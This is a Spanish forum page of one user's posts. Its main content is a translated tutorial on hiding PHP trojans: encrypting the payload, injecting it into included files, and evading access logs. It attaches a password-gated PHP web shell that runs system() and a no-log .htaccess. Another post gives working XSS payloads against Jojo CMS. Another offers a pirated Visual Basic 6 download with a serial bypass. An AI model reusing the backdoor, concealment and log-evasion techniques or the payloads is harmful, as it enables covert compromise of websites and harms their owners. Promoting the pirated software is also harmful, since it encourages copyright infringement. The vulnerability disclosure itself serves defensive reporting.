elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


  Mostrar Temas
Páginas: [1]
1  Programación / PHP / Introducción a los troyanos en php en: 30 Marzo 2010, 21:32 pm

Hace un rato terminé de traducir este texto.
Citar
    |=————————————————————————————————–=|
    |=—————————=[Introducción a los troyanos en php]=———————————=|
    |=————————————-=[ 28 enero 2010 ]=——————————————=|
    |=———————————-=[ Por shad0w_crash ]=—————————————-=|
    |=———————————=[ Traducido por seth ]=—————————————=|
    |=————————————————————————————————–=|

    Indice

    1) Introducción
    2) Suposiciones
    3) cifrado del código
    4) Ocultamiento de la petición
    5) Inyección
    6) Medidas
    7) Contacto

    Adjunto 1: Troyano sencillo en php
    Adjunto 2: .htaccess

    ———————————————————————————————————
    1. Introducción

    Este es mi segundo tutorial asi que sentite libre de enviarme comentarios. El objetivo de este texto es proveer un poco de teoria sobre la creación de troyanos en lenguajes de scripting (en este caso php). No todos los ejemplos están completamente discutidos, así que hay lugar para el debate.
    Todo el tema de escribir troyanos es un gran tabú, espero que escribiendo este documento pueda haber un poco de discusión. No quiero quiero que los sitios web sean infectados por troyanos, por eso escribí un montón en pseudo código y no hice una versión que funcione (por favor, no hagas una).

Se puede bajar de [urhttp://xdseth.byethost5.com/troyanos_en_php.txtl]acá[/url], cuando hayan mas mirros los agrego. Si se ven mal los acentos, hay que bajar el archivo y verlo con un editor de texto.



|=--------------------------------------------------------------------------------------------------=|
|=---------------------------=[Introducción a los troyanos en php]=---------------------------------=|
|=-------------------------------------=[ 28 enero 2010 ]=------------------------------------------=|
|=----------------------------------=[  Por shad0w_crash  ]=----------------------------------------=|
|=---------------------------------=[  Traducido por seth  ]=---------------------------------------=|
|=--------------------------------------------------------------------------------------------------=|


Indice

1) Introducción
2) Suposiciones
3) cifrado del código
4) Ocultamiento de la petición
5) Inyección
6) Medidas
7) Contacto

Adjunto 1: Troyano sencillo en php
Adjunto 2: .htaccess

---------------------------------------------------------------------------------------------------------
1. Introducción

Este es mi segundo tutorial asi que sentite libre de enviarme comentarios. El objetivo de este texto es proveer un poco de teoria sobre la creación de troyanos en lenguajes de scripting (en este caso php). No todos los ejemplos están completamente discutidos, así que hay lugar para el debate.
Todo el tema de escribir troyanos es un gran tabú, espero que escribiendo este documento pueda haber un poco de discusión. No quiero quiero que los sitios web sean infectados por troyanos, por eso escribí un montón en pseudo código y no hice una versión que funcione (por favor, no hagas una).

---------------------------------------------------------------------------------------------------------
2. Suposiciones

Para lograr un troyano en php menos detectable, tenemos algunas dificultades:

* Cuando accedés a el, la petición aparece en los archivos de log.
* Cuando aparece un archivo adicional en el directorio web, puede a ser detectado por alguien.
* Cuando agregás código a un index, lo puede ver un programador.
* Cuando agregás código a un index, este va a ser sobreescrito en la proxima actualización.

Este texto no va a solucionar todos esos problemas. Para dar una mejor visión general hice algunas suposiciones:

* Cuando se actualiza una aplicación web y todos los archivos son reemplazados, probablemente se den cuenta de que algo le pasó al código y tu troyano no va a durar mucho tiempo. Para hacer mejores troyanos, no tenes que estar en este nivel del sistema operativo.
* Si el webmaster calcula los hashes de los archivos y los compara periódicamente, los métodos descriptos no van a funcionar (se que se puede solucionar encontrando colisiones pero eso es muy complicado).
* El webmaster no puede crackear (T)DES, GOST, AES, etc.

---------------------------------------------------------------------------------------------------------
3. cifrado del código

Para crear un troyano en PHP dificil de detectar, necesitamos tener uno que funcione para usarlo de base (ver adjunto 1). El funcionamiento de este troyano menos detectable es cifrando el original. El código cifrado es guardado en una función (desde ahora la vamos a llamar f1) que:

1) descifra el archivo y lo pone en un .php con nombre aleatorio.
2) Envia la petición original a ese archivo temporal.
3) Elimina el archivo.

Con esto solucionamos algunos problemas. El programador no conoce y no puede conocer que hace la función. Tampoco lo van a hacer las herramientas que analizan el código, porque la unica forma es descifrando la cadena, con la contraseña. También f1 puede ser insertado en index.php, indicando que la función solo debe ser ejecutada si una variable específica está activada (si no, todas las peticiones al archivo invocarian al troyano).

El mejor lugar para poner esta función son archivos como newsletter.php y login.php, ya que los archivos de librerias y el index son actualizados frecuentemente.

---------------------------------------------------------------------------------------------------------
4. Ocultamiento de la petición

Un desafio que quedó, es evitar que todas las peticiones aparescan en los logs. Voy a diferenciar dos peticiones, la primera es al archivo que contiene f1 y la segunda es la que f1 le hace al archivo temporal descifrado.

Cuando ves una petición http normal hay mucha mas información que solo el GET o el POST. Pueden ser usadas un monton de cabeceras como Accept-Language, User-Agent, etc [1]. Usando getallheaders() podes verlas todas. Tenemos dos opciones:
* Extender nuestra petición con un nuevo valor (violando el RFC, pero con menos chances de que aparezca en los logs.
* Usar un valor elejido para algo en el RFC (y abusarlo, entonces hay mas chances de que un IDS lo detecte)

La función ahora puede obtener sus variables para autentificarse y ejecutar el proceso interno.
** ADVERTENCIA ** esto es seguridad por oscuridad. Es posible sniffear y repetir el ataque. Incluso cuando el servidor usa ssl, hay posibilidades de que el administrador haya puesto una herramienta que lo registre. Entonces, el podria repetir el ataque y darse cuenta de que hay un troyano.
Para evitar esto tenemos que enviar una variable extra al servidor un nuevo hash sha512 que reemplace al anterior. Así seria imposible repetir el ataque porque la contraseña funciona una sola vez.
La segunda petición es mas facil de esconder, para eso vamos a extender f1:
1) Crea un directorio con nombre aleatorio.
2) Escribe el .htaccess en ese directorio.
3) descifra el troyano en un archivo temporal con nombre aleatorio, en el directorio anterior.
4) Envia la petición original al archivo temporal.
5a) Elimina el archivo temporal
5b) Elimina el .htaccess
5c) elimina el directorio
De esta forma, no van a quear rastros en el log de acceso.

---------------------------------------------------------------------------------------------------------
5. Inyección

Ahora que sabemos como esconder el troyano y como ocultarlo (lo mas posible), necesitamos un lugar para guardarlo. Al principio mencioné que puede estar en index.php o algun archivo similar, pero hay formas mas eficientes. Vamos a crear un script que haga lo siguiente:

1) Buscar una llamada a la función include()
2a) Tomar aleatoriamente dos archivos de los que se incluyen
2b) Si no se encuentran, se trabaja sobre el archivo actual
3) Buscar en el archivo variables de f1
4a) Si no coincide, insertar f1
4b) Si coincide, reemplazar variables en f1 y despues insertar la función

---------------------------------------------------------------------------------------------------------
6. Medidas

Lo mejor que podes hacer para no ser infectado por un troyano web es mantener el software actualizado. Cuando tu sitio no es explotable, hay menos posibilidades de ser infectado. También, podes crear una lista con hashes de los archivos, guardarla en una computadora remota y compararlos periódicamente. De esta forma te vas a enterar de los cambios en los archivos.
---------------------------------------------------------------------------------------------------------
7. Contacto
Si tenes algo que añadir, simplemente copiá el texto y envialo al sitio de donde lo sacaste. Para contactarme: http://twitter.com/shad0w_crash (NdT: el habla en inglés, para contactarme a mi http://elrincondeseth.wordpress.com/ o "xd punto seth ar@ro@ba gmail p.u.n.t.o com")

---------------------------------------------------------------------------------------------------------
Attach 1: Most easy PHP trojan.

Adjunto 1: Troyano sencillo en PHP.
<?php
error_reporting(0);   
$action = $_GET['cmd'];
$pw = $_GET['pw'];   
$password = "7a3b4197c700b7a94efef0a0590f465664ff210e120156a8c70913c1302fc06fa1bc85cffbf2fb113f99323f08e91489dd4531a0c3657b22fdc065f87b799f5b";
/* Remove this line!, password= Hasdf4g */
if( hash('sha512',$pw) == $password)
{
   echo system($cmd);
}
?>


---------------------------------------------------------------------------------------------------------
Attach 2: .Htaccess.

Adjunto 2: .htaccess.

SetEnvIf Request_URI "^/tmpdir/tempfile\.php$" dontlog
<Limit GET POST HEAD>
order deny,allow
deny from all
allow from 127.0.0.1 (or the remote ip of the server).
</Limit>

La primer regla evita los logs de acceso para el archivo.
La segunda solo permite peticiones por el servidor mismo.


[1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html




2  Programación / Programación Visual Basic / dsa o similar? en: 22 Abril 2009, 01:38 am
quiero firmar un archivo (no hace falta que sea con vb, puede ser con gpg u otro mientras que funcione), que mi programa lo baje (esto ya lo hice) y que compruebe si la firma es válida

alguno tiene el código?

PD: si, ya googlee y no encontre nada para vb6
3  Seguridad Informática / Nivel Web / [UP] Jojo cms XSS y FPD en: 12 Noviembre 2008, 20:56 pm
es un cms que recien esta naciendo, pero como no me contestaron lo publico:



Nombre: Jojo cms
Web: http://www.jojocms.org/
Version: 1.0 rc1
Reporte: http://bugs.jojocms.org/details/task134
Fecha de reporte: Wednesday, 05 November 2008, 12:52 UTC+13:00
Parcheado: no
Tipo de vulnerabilidad: XSS y FPD


Cross site scripting (non-persistent) and Full path disclosure:
http://demo.jojocms.org/search/%3Cscript%3Ealert(%22wopa!%22)%3C/script%3E

Cross site scripting (persistent):
http://demo.jojocms.org/blog/1/welcome-to-jojocms/


HTTP HEADERS (I injected in 'name' variable):
Código:
POST /blog/1/welcome-to-jojocms/ HTTP/1.1
Host: demo.jojocms.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ar,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://demo.jojocms.org/blog/1/welcome-to-jojocms/
Cookie: jojo=6cc641e1381c3201206cacfc9ce448ab; utma=119248274.775642559681182300.1225930562.1225930562.1225930562.1; utmb=119248274.1.10.1225930562; utmc=119248274; utmz=119248274.1225930562.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
Content-Type: application/x-www-form-urlencoded
Content-Length: 182
userid=&name=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&email=asd%40asd.asd&website=http%3A%2F%2Fasd.net&anchortext=asd&captchacode=fhq&comment=asdsad&submit=Post+Comment+%3E%3E
RESULT:

Código:
<div class="comment" id="article-comment-wrap-2">

<h4><a href="http://asd.net" target="new" rel="nofollow"><script>alert("XSS")</script></a><span class="date"> - Nov 5, 2008</span></h4>
<p id="article-comment-2" class="comment-text">asdsad</p>
</div>
</div>


sorry, my english is not good :(

4  Programación / Programación Visual Basic / duda con el control inet en: 12 Noviembre 2008, 03:24 am
estoy haciendo una aplicacion de esas que buscan hashes crackeados por internet, pero al intentar buscar el hash (parecido a como lo vi en perl) en una web, no consigo obtener el html normalmente.

Código
  1. Public Function BuscarHash(Web As String, PostData As String, Antes As String, Despues As String) As String
  2. Dim A(1) As Long
  3. Dim Indice As Integer
  4. Dim Resultado As String
  5.  
  6. Indice = Crackeando
  7.  
  8.  
  9. If PostData = "" Then
  10.    frmMain.Net(Indice).Execute Web, "GET"
  11. Else
  12.    frmMain.Net(Indice).Execute Web, "POST", PostData
  13. End If
  14.  
  15.  
  16.  
  17. 'Datos parciales
  18. Dim d_Chunk As Variant
  19. ' En esta variable se almacenan los datos finales
  20. Dim Datos As String
  21.  
  22. Do
  23.    DoEvents
  24. Loop While frmMain.Net(Indice).StillExecuting = True
  25.  
  26.             d_Chunk = frmMain.Net(Indice).GetChunk(1024, icString)
  27.             Datos = d_Chunk
  28.       Do
  29.             DoEvents
  30.             ' Recupera una porción de datos de 1024 bytes
  31.             d_Chunk = frmMain.Net(Indice).GetChunk(1024, icString)
  32.  
  33.             ' Si ya no hay mas sale
  34.            If Len(d_Chunk) = 0 Then
  35.                Exit Do
  36.            Else
  37.               Datos = Datos & d_Chunk
  38.            End If
  39.       Loop
  40.  
  41. If Antes = "" Then
  42.    A(0) = 0
  43. Else
  44.    A(0) = InStr(1, Datos, Antes)
  45. End If
  46.  
  47. If Despues = "" Then
  48.    A(1) = 0
  49. Else
  50.    A(1) = InStr(1, Datos, Despues)
  51. End If
  52.  
  53. Resultado = Mid(Datos, A(0) + Len(Antes), A(1) - A(0))
  54.  
  55. BuscarHash = Resultado
  56.  
  57. End Function
  58.  

y lo llamo asi:
Código
  1.    Me.tvHashes.Nodes.Add "HH" & Crackeando, tvwChild, "HHH1" & I, "md5.hashcracking.com: " & BuscarHash("http://md5.hashcracking.com/search.php?md5=" & Lista(Crackeando).Valor, "", "Cleartext of " & Lista(Crackeando).Valor & "  is ", "")
  2.    Me.tvHashes.Nodes.Add "HH" & Crackeando, tvwChild, "HHH2" & I, "md5decryption.com: " & BuscarHash("http://md5decryption.com/", "hash=21232f297a57a5a743894a0e4a801fc3&submit=Decrypt+It%21", "<br><b class=""red"">Normal Text: </b>", "<br><script type=""text/javascript""><!--")
  3.  

pero nunca llego a tener la web en Datos :S

alguna ayuda?
5  Programación / Programación Visual Basic / Quine en VB? en: 29 Octubre 2008, 22:30 pm
http://es.wikipedia.org/wiki/Quine_(programa)

alguien tiene un ejemplo de un quine en vb o la idea de como hacer uno?
para los que no tienen ganas de leer el link: un quine es un programa que muestra su propio source sin abrir el archivo y leerse a si mismo
6  Programación / Programación Visual Basic / Detectar si hay WMI (VB6) en: 25 Octubre 2008, 05:06 am
Muchas veces tenemos códigos que usan wmi, pero al llevarlos a otras computadoras sale un "error de automatización". Con este código simple podemos ver si hay WMI en el equipo.

Código
  1. Function WMIDetect() As Boolean
  2. On Error GoTo NOWMI
  3.    Dim WMI As Object
  4.    Set WMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
  5.    Set WMI = Nothing
  6.    WMIDetect = True
  7.    Exit Function
  8. NOWMI:
  9. WMIDetect = False
  10. End Function
  11.  

ejemplo de uso:

Código
  1. Private Sub Form_Load()
  2. MsgBox WMIDetect
  3. End Sub
7  Programación / Programación Visual Basic / Visual Basic 6 | full | en español | 1 link | descarga directa en: 30 Septiembre 2008, 02:57 am


Les dejo el visual basic 6 en español
Es un solo link de 212.74 MB  (223,073,708 Bytes)

Lo volvi a subir porque el que habia posteado antes era en 20 partes.. y Además creo que el host donde lo tenia cerró

Cuando les pide el serial lo rellenan con 0's y listo. Es el mismo que uso yo


Descarga
Password del rar


PD: no viene con la ayuda, pero para algo existen los foros, google, la msdn online y multitud de páginas mas



[/size]


si no va aca, disculpen... muevanlo para donde corresponda :P
8  Programación / Programación Visual Basic / Manual sobre el uso de Fusion para eliminar las dependencias en: 23 Septiembre 2008, 00:12 am
Manual sobre el uso de Fusion para eliminar las dependencias

Les dejo un videotuto PASO POR PASO sobre como instalar y usar fusion para eliminar las dependencias de los ejecutables... osea, nada de pasar ocx's o dll's, solo el exe

es mi primer videotuto, asi que seguramente hayan cosas mal hechas por el lado de la grabacion

es largo porque explique hasta la instalacion (quiero que se entienda bien para evitar las preguntas sobre este tema que se ven a menudo)

descargar videotuto (12.385 kb)
descargar firma digital (.sig) mi llave publica para comprobarla


en el manual dejo links del fusion, pero despues de hacerlo lo subi a mi host

descargar fusion v3 shareware (el del video - 3.469 kb)
descargar firma digital (.sig) mi llave publica para comprobarla
9  Programación / Programación Visual Basic / Dibujo con PSet en: 18 Septiembre 2008, 21:43 pm
En las vacaciones, como no tenia nada para hacer, agarre un libro de vb4 y me puse a leer como se usa pset…

Hice un código que toma un dibujo ascci y lo convierte con pset. Permite el uso de dos colores (0 y 1), aumento de tamaño (baja la velocidad) y disminucion de calidad (aumenta la velocidad)

Imágen:


Como ven, no es muy bueno para dibujar, pero sirve para aprender del codigo…

El sub mas importante:

Código
  1. Private Sub Dibujar(Dibujo As String, Color1 As Long, Color2 As Long, Tam As Integer, Velocidad As Integer, Objeto As Object)
  2.  
  3.  
  4. Dim I As Long
  5. Dim II As Long
  6. Dim III As Long
  7. Dim Y As Long
  8. Dim X As Long
  9.  
  10. Y = 1
  11. X = 1
  12.  
  13. For I = 1 To Len(Dibujo)
  14.    If Mid(Dibujo, I, Len(vbCrLf)) = vbCrLf Then
  15.        Y = Y + Tam
  16.        X = 1
  17.        I = I + 1
  18.    Else
  19.        X = X + Tam
  20.        DoEvents
  21.  
  22.        If Mid(Dibujo, I, 1) = 1 Then
  23.            Objeto.PSet (X, Y), Color1
  24.                For II = 1 To Tam
  25.                    For III = 0 To Tam Step Velocidad
  26.                        Objeto.PSet (X + II, Y + III), Color1
  27.                    Next III
  28.                Next II
  29.        ElseIf Mid(Dibujo, I, 1) = 0 Then
  30.            Objeto.PSet (X, Y), Color2
  31.            For II = 1 To Tam
  32.                    For III = 0 To Tam Step Velocidad
  33.                        Objeto.PSet (X + II, Y + III), Color2
  34.                    Next III
  35.            Next II
  36.        End If
  37.    End If
  38.  
  39.    'X = X + 1
  40.    'Y = Y + 1
  41.  
  42. DoEvents
  43.  
  44. Next I
  45. End Sub
  46.  
  47.  
  48.  

DESCARGAR TODO EL PROGRAMA

desde aca
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines